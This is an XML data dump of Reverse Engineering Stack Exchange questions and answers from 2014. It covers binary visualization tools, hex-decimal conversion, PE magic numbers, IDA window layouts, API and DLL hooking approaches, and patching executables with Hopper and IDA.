  <row Id="6007" PostTypeId="2" ParentId="6003" CreationDate="2014-08-02T12:58:27.070" Score="46" Body="&lt;p&gt;The tool we used for the talk, binviz, is available here: &lt;a href=&quot;http://www.rumint.org/gregconti/publications/binviz_0.zip&quot;&gt;binviz_0.zip&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some papers are here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.rumint.org/gregconti/publications/taxonomy-bh.pdf&quot;&gt;taxonomy-bh.pdf&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.rumint.org/gregconti/publications/2008_VizSEC_FileVisualization_v53_final.pdf&quot;&gt;2008_VizSEC_FileVisualization_v53_final.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And, there is also an earlier Black Hat talk, in addition to the one I&#xA;did with Sergey:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(&lt;a href=&quot;http://www.rumint.org/gregconti/publications/200808_binviz38_dc_final.ppt&quot;&gt;200808_binviz38_dc_final.ppt&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I haven't used it in a while but binviz was written in Visual C# (VS2005&#xA;or maybe VS2008).  The .zip is the project (source) file so it should&#xA;load into visual studio and run.  There is also a compiled &lt;code&gt;.exe&lt;/code&gt; in...&#xA;&lt;code&gt;/binviz_0.44bw/binviz_0.01/bin/Debug/&lt;/code&gt;. You should just be able to double&#xA;click it and run on a Windows machine. I developed it under XP, but&#xA;have since used it under Windows 7 and it worked more or less the same.&#xA;(mouseover event behavior is a little different, but still usable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that binviz is a research prototype and has a bug... it doesn't&#xA;like small files.  Would try something 10M in size and then work down&#xA;from there. I think it is around 500K where it starts getting cranky.&lt;/p&gt;&#xA;" OwnerUserId="8205" LastEditorUserId="53" LastEditDate="2014-08-02T14:17:19.830" LastActivityDate="2014-08-02T14:17:19.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6008" PostTypeId="2" ParentId="5995" CreationDate="2014-08-02T17:27:31.607" Score="2" Body="&lt;p&gt;Too long for another comment ... You want to convert decimal to hex and vice versa?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very short answer: Take windows calc, switch to programmer mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit longer answer: Get a calculator that can do hex, or a calculator app that can do it. I prefer realcalc on android.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert decimal to hex, divide your number by 16 and write down the remainder as a hex digit. Repeat with the divided number, &lt;em&gt;prepending&lt;/em&gt; digits to the ones you've already written down. Continue until you reach zero. Group in 2 if you want bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1_000_000 / 16 = 62_500, remainder 0 =&amp;gt; 0&#xA;62_500 / 16 = 3_906, remainder 4 =&amp;gt; 40&#xA;3_906 / 16 = 244. remainder 2 =&amp;gt; 240&#xA;244 / 16 = 15, remainder 4 =&amp;gt; 4240&#xA;15 / 16 = 0, remainder 15 =&amp;gt; F4240, or 0F 42 40 in big endian, or 40 42 0F little endian.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To convert hex to decimal, take the left-most digit. Multiply by 16, add next digit. Repeat (multiply, add) until no more digits are left.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F4240 =&amp;gt; 15&#xA;4240  =&amp;gt; 15*16+4 = 244&#xA;240   =&amp;gt; 244*16+2 = 3_906&#xA;40    =&amp;gt; 3_906*16+4 = 62_450&#xA;0     =&amp;gt; 62_450*16+0 = 1_000_000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to do the same in bytes, not digits, it's the same, but with 256 as the multiplier. The values of the bytes 0x0f, 0x42, 0x40 are 15, 66 and 64.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F 42 40 =&amp;gt; 15&#xA;42 40   =&amp;gt; 15*256+66 = 3_906&#xA;40      =&amp;gt; 3_906*256+64 = 1_000_000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-08-03T05:26:56.253" LastActivityDate="2014-08-03T05:26:56.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6009" PostTypeId="2" ParentId="5993" CreationDate="2014-08-02T20:11:35.540" Score="2" Body="&lt;p&gt;For Firefox (i.e. Gecko) and Chrome (i.e. Blink) you can just look in the source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching the Firefox codebase for &lt;code&gt;getCurrentPosition&lt;/code&gt; yields the source file &lt;a href=&quot;http://dxr.mozilla.org/mozilla-central/source/dom/src/geolocation/nsGeolocation.cpp#697&quot; rel=&quot;nofollow&quot;&gt;nsGeolocation.cpp&lt;/a&gt;. As you see in the linked source line, it creates an instance of a geolocation provider. Assuming Firefox for Desktop, there is only the &lt;a href=&quot;http://dxr.mozilla.org/mozilla-central/source/dom/system/NetworkGeolocationProvider.js&quot; rel=&quot;nofollow&quot;&gt;NetworkGeolocationProvider&lt;/a&gt; (FirefoxOS may also use GPS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, Gecko opens an XMLHttpRequest to the URL specified in &lt;code&gt;about:config&lt;/code&gt; as &lt;code&gt;geo.wifi.uri&lt;/code&gt;. Per default this is &lt;code&gt;https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_API_KEY%&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blink performs its http request in &lt;a href=&quot;https://code.google.com/p/chromium/codesearch#chromium/src/content/browser/geolocation/network_location_request.cc&quot; rel=&quot;nofollow&quot;&gt;network_location_request.cc&lt;/a&gt;, with the same API endpoint defined as in Firefox (cf. &lt;a href=&quot;https://code.google.com/p/chromium/codesearch#chromium/src/content/browser/geolocation/location_arbitrator_impl.cc&amp;amp;rcl=1407097784&amp;amp;l=43&quot; rel=&quot;nofollow&quot;&gt;location_arbitrator_impl.cc&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(NB: I looked at Gecko HG revision a4f779bd7cc2 and Blink SVN revision 287303)&lt;/p&gt;&#xA;" OwnerUserId="8208" LastEditorUserId="8208" LastEditDate="2014-08-04T08:28:54.440" LastActivityDate="2014-08-04T08:28:54.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6010" PostTypeId="2" ParentId="5996" CreationDate="2014-08-02T22:12:56.173" Score="3" Body="&lt;p&gt;Not quite sure what you are looking for, so here goes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you just want to open the database of a FM runtime solution&lt;/strong&gt;, thats easy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fmforums.com/forum/topic/35166-convert-runtime-back-to-filemaker-file/&quot; rel=&quot;nofollow&quot;&gt;Just rename&lt;/a&gt; the .USR file to .fp7 and open it with Filemaker (you might need Filemaker Pro Advanced). See also the &lt;a href=&quot;http://www.filemaker.com/downloads/pdf/fmpa10_development.pdf&quot; rel=&quot;nofollow&quot;&gt;developers guide&lt;/a&gt; for the layout of the bound files (page 14). The .USR file is called the &quot;bound&quot; (as in binding together) file of the runtime solution (created using Filemaker Pro Advanced). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: The format is .fp7, there is no .fp10 format. The next higher version would be .fmp12&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you want to export your FM data into another database&lt;/strong&gt; (e.g. Oracle database), then are multiple ways to get at your data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://help.filemaker.com/app/answers/detail/a_id/6167/~/exporting-data-from-filemaker-pro&quot; rel=&quot;nofollow&quot;&gt;Bulk export&lt;/a&gt; (parts) of your data to &lt;a href=&quot;http://www.filemaker.com/support/technologies/xml.html&quot; rel=&quot;nofollow&quot;&gt;XML&lt;/a&gt; or &lt;a href=&quot;http://help.filemaker.com/app/answers/detail/a_id/5349/session/L2F2LzEvdGltZS8xNDA3MDE1OTQwL3NpZC9ndzMydFMtbA%3D%3D&quot; rel=&quot;nofollow&quot;&gt;other formats&lt;/a&gt;. Importing the XML somewhere does not seem very straightforward, but all the information should be there.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://www.filemaker.com/support/product/docs/12/fms/fms12_cwp_xml_en.pdf&quot; rel=&quot;nofollow&quot;&gt;Custom Web Publishing with XML&lt;/a&gt; to answer interactive queries in XML. &lt;a href=&quot;http://clld.readthedocs.org/en/latest/lib.html#module-clld.lib.fmpxml&quot; rel=&quot;nofollow&quot;&gt;This library&lt;/a&gt; seems to support these kinds of queries.&lt;/li&gt;&#xA;&lt;li&gt;However, I think the best option is to use the &lt;a href=&quot;http://www.filemaker.com/downloads/pdf/fm10_odbc_jdbc_guide_en.pdf&quot; rel=&quot;nofollow&quot;&gt;ODBC or JDBC interface&lt;/a&gt; to query your data. Then you can use standard SQL to query everything you'd need. You might need to export your scripts separately, although they will be of no use to you as they only work in FM.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That said, there isn't much to reverse engineer here, apart from renaming a file for the first scenario. However, &lt;strong&gt;you absolutely do need a valid copy of Filemaker 10 (or higher)&lt;/strong&gt; to access your data. There is no description of the internal Filemaker format anywhere, and you won't be able to read it with any other programs. Note that there is a 30-day trial available from the Filemaker website.&lt;/p&gt;&#xA;" OwnerUserId="8210" LastEditorUserId="8210" LastEditDate="2014-08-03T00:01:29.430" LastActivityDate="2014-08-03T00:01:29.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6011" PostTypeId="2" ParentId="6003" CreationDate="2014-08-02T23:13:47.330" Score="33" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://sites.google.com/site/xxcantorxdustxx/&quot; rel=&quot;noreferrer&quot;&gt;cantor.dust&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This project is an interactive binary visualization tool, a radical&#xA;evolution of the traditional hex editor. By translating binary&#xA;information to a visual abstraction, reverse engineers and forensic&#xA;analysts can sift through mountains of arbitrary data in seconds.&#xA;Even previously unseen instruction sets and data formats can be easily&#xA;located and understood through their visual fingerprint.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MUN16.jpg&quot; alt=&quot;cantor.dust example 1&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=4bM3Gut1hIk&quot; rel=&quot;noreferrer&quot;&gt;Presentation video from Derbycon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://docs.google.com/viewer?url=http://recon.cx/2013/slides/Recon2013-Christopher%20Domas-The%20Future%20of%20RE-Dynamic%20Binary%20Visualization.pptx&quot; rel=&quot;noreferrer&quot;&gt;Presentation slides from Recon 2013&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://sites.google.com/site/xxcantorxdustxx/visual-re&quot; rel=&quot;noreferrer&quot;&gt;More pretty pictures&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Sadly, I think the development stopped, at least I haven't heard any news about this project recently.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://binwalk.org/&quot; rel=&quot;noreferrer&quot;&gt;Binwalk&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RGvPW.gif&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/users/1408/devttys0&quot;&gt;devttys0&lt;/a&gt; implemented a similar visualization in &lt;a href=&quot;http://binwalk.org/3d-data-visualizations/&quot; rel=&quot;noreferrer&quot;&gt;binwalk.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://actinid.org/vix/&quot; rel=&quot;noreferrer&quot;&gt;Vix/Biteye&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Graphical (SDL-based) hexadecimal dump tool designed for GNU/Linux. It&#xA;lets you see the patterns formed by its bits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/BatchDrake/vix&quot; rel=&quot;noreferrer&quot;&gt;Github&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/78ai9.png&quot; alt=&quot;GUI&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/wapiflapi/binglide&quot; rel=&quot;noreferrer&quot;&gt;binglide&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Binglide is a visual reverse engineering tool. It is designed to offer&#xA;a quick overview of the different data types that are present in a&#xA;file.This tool does not know about any particular file format, everything is&#xA;done using the same analysis working on the data. This means it works even if&#xA;headers are missing or corrupted or if the file format is unknown.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Tvq3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/letoram/senseye&quot; rel=&quot;noreferrer&quot;&gt;senseye&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Senseye is a tool for for monitoring, analyzing and visualizing everything&#xA;from static files and crash dumps to live data flows and application dynamic&#xA;memory.Each data window provides you with different views (e.g. 3D point butt)&#xA;and statistical tools (e.g. histogram) and some controls for hinting how the&#xA;sensor should sample, pack and transfer data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/am0aq.png&quot; alt=&quot;Senseye&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://binvis.io&quot; rel=&quot;noreferrer&quot;&gt;binvis.io&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;a browser-based tool for visualising binary data.&lt;/p&gt;&#xA;&lt;p&gt;With binvis.io, you can:&lt;/p&gt;&#xA;&lt;p&gt;Visually explore binary data.&#xA;Cluster bytes to pick out fine structural features with space-filling curves.&#xA;Use the simple scan layout to navigate and select data intuitively.&#xA;Flip between a number of useful byte color mappings, including an entropy.&#xA;Visualiser that lets you pick out compressed or encrypted sections.&#xA;Export data segments for analysis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IebW9.png&quot; alt=&quot;http://corte.si/posts/binvis/announce/index.html&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;===&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://trippler.no/wpcms/?page_id=20&quot; rel=&quot;noreferrer&quot;&gt;BinVis&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A Qt based tool for visualizing arbitrary data.&#xA;BinVis has abilities to:&lt;/p&gt;&#xA;&lt;p&gt;Visualize large amounts of binary data (several TiB).&#xA;Visualize in time (normal plot) and space (byte plot) domains&#xA;Visualize parts of files and narrow in on relevant parts of the file&#xA;&amp;quot;Step&amp;quot; through the file to see what type of data each part of the file contains&#xA;&amp;quot;Reverse draw&amp;quot; to highlight strong patterns in the visualized data&#xA;Use filters, transparency, color schemes and various shaders to highlight the relevant data.&#xA;Heavy use of threading for performance reasons&#xA;Fairly static memory usage, using the same amount of memory for visualizing a 1GiB file and 100TiB file&#xA;&lt;a href=&quot;http://trippler.no/wpcms/wp-content/uploads/2014/06/Screenshot_2015-08-09_19-52-30.png&quot; rel=&quot;noreferrer&quot;&gt;http://trippler.no/wpcms/?page_id=20 http://trippler.no/wpcms/wp-content/uploads/2014/06/Screenshot_2015-08-09_19-52-30.png&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://katjahahn.github.io/PortEx/&quot; rel=&quot;noreferrer&quot;&gt;PortEx&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Java library to analyse Portable Executable files with a special focus&#xA;on malware analysis and PE malformation robustness&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://codisec.com/veles/&quot; rel=&quot;noreferrer&quot;&gt;Veles&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Binary visualization framework.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/u1WLf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u1WLf.png&quot; alt=&quot;Veles visualization&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-05-30T17:52:09.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6012" PostTypeId="1" AcceptedAnswerId="6015" CreationDate="2014-08-03T08:45:57.663" Score="3" ViewCount="2292" Body="&lt;p&gt;While checking the PE header of DLLs and EXE(s) by PEviewer, I found  something called &quot;&lt;em&gt;magic number&lt;/em&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After googling &quot;&lt;em&gt;magic number&lt;/em&gt;&quot;. I found that it is used to determine the file type. My question is how can a malware analysist benefits from this magic number ? And why is it in the PE header ?&lt;/p&gt;&#xA;" OwnerUserId="7017" LastEditorUserId="53" LastEditDate="2014-08-03T08:56:44.750" LastActivityDate="2014-08-03T12:35:53.783" Title="Is the magic number important" Tags="|static-analysis|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6013" PostTypeId="2" ParentId="5878" CreationDate="2014-08-03T09:07:34.823" Score="0" Body="&lt;p&gt;ReProgramming the processor is quite difficult (you will nead to create your own simi motherboard) . But reconstruct the microprocessor (changing its architecture and developing your own firmware by  micro ops )is impossible in modern inter microprocessors  . Even the updates to firmware is encrypted with key that is kept inside the processor.&#xA;This beacause intel wants to protect its processors firmware from malware. And if the firmware is infected the result will be a real disaster. &lt;/p&gt;&#xA;" OwnerUserId="7017" LastActivityDate="2014-08-03T09:07:34.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6014" PostTypeId="2" ParentId="5878" CreationDate="2014-08-03T09:30:30.000" Score="3" Body="&lt;p&gt;I found &lt;a href=&quot;http://siliconpr0n.org/map/intel/80486dx/mit5x/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; site containing a hires zoomable picture of the 80486.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://www.securiteam.com/securityreviews/5FP0M1PDFO.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; an effort to reverseengineer the AMD microcode format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling for &lt;code&gt;siliconpr0n&lt;/code&gt; and &lt;code&gt;intel&lt;/code&gt;  yields even more people trying something similar.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2014-08-03T09:30:30.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6015" PostTypeId="2" ParentId="6012" CreationDate="2014-08-03T12:29:09.337" Score="5" Body="&lt;p&gt;A &lt;em&gt;magic number&lt;/em&gt; is a set of bytes used when accessing a file to determine its type. For example, the standard Microsoft PE begins with (in ASCII) &lt;code&gt;MZ&lt;/code&gt;, the initials of one of the developers of MS-DOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The initial headers in a portable executable specify a variety of information regarding the file, ranging from the supported platform, number of symbols, number of sections, time stamps, etc. As such, it is a logical location to store the magic number, as it is also part of the file metadata.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can a malware analyst benefit from this magic number?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only information the magic number provides is the file type, and as such that is all that can be garnered by a malware analyst, or any type of analysis. Although one can refer to the file extension to check a file type, they can be changed without affecting the contents of the file. As such, checking the magic number is a method to determine the true file type. Discrepancies would then indicate potential malicious behavior or attempts to hide data.&lt;/p&gt;&#xA;" OwnerUserId="8053" LastEditorUserId="8053" LastEditDate="2014-08-03T12:35:53.783" LastActivityDate="2014-08-03T12:35:53.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6016" PostTypeId="1" CreationDate="2014-08-03T14:16:53.570" Score="1" ViewCount="4215" Body="&lt;p&gt;Is there any way I can have a kind of &quot;split-view&quot; where I can look at the disassembly of two different portions of the code(of a single file) in IDA? It'd be nice to be able to do that.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2014-08-03T14:39:53.367" Title="Two disassembly windows in IDA" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6017" PostTypeId="2" ParentId="6016" CreationDate="2014-08-03T14:39:53.367" Score="2" Body="&lt;p&gt;You can open multiple disassembly &lt;a href=&quot;http://en.wikipedia.org/wiki/Multiple_document_interface&quot; rel=&quot;nofollow&quot;&gt;MDI&lt;/a&gt; windows by going to &lt;code&gt;View → Open subviews → Disassembly&lt;/code&gt; in IDA's menubar. For example, if you already have a disassembly window open and open a new disassembly subview, your original disassembly window tab will be named &lt;code&gt;IDA View-A&lt;/code&gt; and your new disassembly window tab will be named &lt;code&gt;IDA View-B&lt;/code&gt;. You can then rearrange the disassembly windows (drag and drop the window tabs) to create a split-view.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-08-03T14:39:53.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6018" PostTypeId="1" AcceptedAnswerId="6023" CreationDate="2014-08-03T20:17:39.410" Score="5" ViewCount="6361" Body="&lt;p&gt;I have written a C API with support for static import hooking via overwriting the corresponding IAT entry of an exported function. It works nicely for older simple applications, but for more modern applications, it is less effective. This is primarily due to the large amount of applications nowadays that dynamically import functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution to this problem was to create the process in an initial suspended state and then hook the &lt;code&gt;LoadLibrary(Ex)(A/W)&lt;/code&gt;  family of functions along with &lt;code&gt;GetProcAddress()&lt;/code&gt; to replace the retrieved address of a target function with my own. That solution is limited in part due to the fact that it is based off the application only importing dynamic functions and libraries in the executable module, without working for processes created later ( although that could be solved by hooking &lt;code&gt;CreateProcess()&lt;/code&gt; ) or more importantly, &lt;strong&gt;it doesn't handle the DLLs in the application that also call the target functions I want to hook&lt;/strong&gt;. This is obviously because the DLLs have a separate import section in their own PE from the executable module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which brings me to my question, &lt;em&gt;how do I hook the entry point of a DLL&lt;/em&gt;? I want to implement that method because I need the DLL to be bound to the libraries it imports statically, so I can hook  the LoadLibrary/GetProcAddress functions in before the DLL has a chance to load/import them in DLLMain. I'm assuming there is a way to do this by changing the entry point of the DLL, or by hooking a lower level function that handles calling a DLL entry point in kernel32.dll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the method I'm requesting has a better alternative, then I would gladly accept that solution as well if it achieves my desired effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My processor is an AMD Athlon II X2 250 that is x86-x64 compatible, and my operating system is Windows 7.&lt;/p&gt;&#xA;" OwnerUserId="8215" LastEditorUserId="8215" LastEditDate="2014-08-03T22:39:57.303" LastActivityDate="2014-08-05T19:09:34.163" Title="How to hook the entry point of a DLL?" Tags="|windows|c|dll|pe|function-hooking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6019" PostTypeId="2" ParentId="6018" CreationDate="2014-08-04T01:35:33.177" Score="3" Body="&lt;p&gt;You should not be using IAT overwriting hooking method for the same reasons you mentioned.&#xA;Use the inline hooking method with a &lt;code&gt;JMP&lt;/code&gt; instruction to the target hook. You need to save the overwritten bytes somewhere as you need to use it as the trampoline. &#xA;See &lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Hooking#API.2FFunction_Hooking.2FInterception_Using_JMP_Instruction&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&lt;/em&gt; as an example of inline hook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using inline hook ensures that all (existing or future) modules loaded in the same address space will using the hooked functions no matter how they resolve the addresses of the APIs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://jbremer.org/x86-api-hooking-demystified/&quot; rel=&quot;nofollow&quot;&gt;jbremer.org&lt;/a&gt;&lt;/em&gt; has good informative resources on API hooking.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-08-04T02:04:27.077" LastActivityDate="2014-08-04T02:04:27.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6021" PostTypeId="2" ParentId="4785" CreationDate="2014-08-05T12:31:19.410" Score="4" Body="&lt;p&gt;As a GDB method has been presented, I will draw attention to other methods which are generally easier with other software to alter the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hopper Disassembler (Linux, OS X)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the cursor to the instruction to be modified, and in the edit menu select either patch to NOP (i.e. nullify instruction) or 'assemble instruction' which accepts x86 and ARM instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OWdtb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It inserts the appropriate operation codes, and takes care of any offset adjustments to ensure the insertions do not affect the rest of the program. You can then run the program as modified and debug, or produce a new executable (ELF, Macho-O, PE/COFF).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IDA Pro (Linux, Windows, OS X)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the patching menu by editing the &lt;code&gt;idagui.cfg&lt;/code&gt; (with an editor with elevated privileges):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DISPLAY_PATCH_SUBMENU    = YES          // Display the Edit,Patch submenu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the patching menu under Edit to insert raw operation codes. Note by default IDA only auto-assembles for the IBM PC; see the Intel or ARM manuals for opcodes. IDA can then produce a new executable but often it may not work, and instead you need to resort to producing a &lt;code&gt;.dif&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Patchers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to create a patcher, I recommend &lt;em&gt;dup2 patcher&lt;/em&gt;. Once you have your new executable, compare the old and new for differences in the raw hex, and then specify the changes that need to be made into the patcher creator. (Either it replaces something at a specific offset, or searches for a set of bytes and replaces those.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternate Methods&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that manually editing the assembly instructions of a program is not the only way to alter control flow. Instead, you could use a DLL hook; see for example the InfoSec article &lt;a href=&quot;http://resources.infosecinstitute.com/api-hooking-and-dll-injection-on-windows/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8053" LastEditorUserId="8053" LastEditDate="2014-08-05T12:38:17.767" LastActivityDate="2014-08-05T12:38:17.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
